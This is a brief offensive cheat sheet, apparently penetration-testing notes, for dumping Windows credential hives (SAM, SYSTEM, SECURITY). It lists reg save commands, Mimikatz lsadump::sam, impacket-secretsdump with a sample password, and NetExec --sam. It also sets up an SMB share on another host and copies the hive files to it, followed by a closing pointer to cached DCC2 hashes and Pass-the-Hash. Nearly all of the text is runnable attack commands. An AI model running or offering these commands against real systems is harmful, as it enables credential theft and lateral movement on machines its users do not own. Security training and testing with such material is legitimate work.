C:\\\\Windows\\\\System32\\\\config\\\\directory
# The files are locked while Windows is running.
# Backups of the files may exists in the
C:\\\\Windows\\\\Repair
# or
C:\\\\Windows\\\\System32\\\\config\\\\RegBack
reg save hklm\\\\sam C:\\\\sam
reg save hklm\\\\system C:\\\\system
Option 1: Mimikatz
lsadump::sam /sam:"C:\\\\sam" /system:"C:\\\\system"
Option 2: impacket-secretsdump
impacket-secretsdump WRK/Administrator:pass123@$IP -output local_dump
impakcet-smbserver share . -smb2support -user test -password test
net use \\\\$IP\\share /user:test test
copy sam \\\\<IP>\\share
copy system \\\\<IP>\\share
copy security \\\\<IP>\\share
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
Option 3: NetExec
nxc smb <IP> --local-auth -u <username> -p <password> --sam
hklm\\\\security contains cached domain logon information, specifically in the form of DCC2 hashes. These are local, hashed copies of network credential hashes.Pass-the-Hash .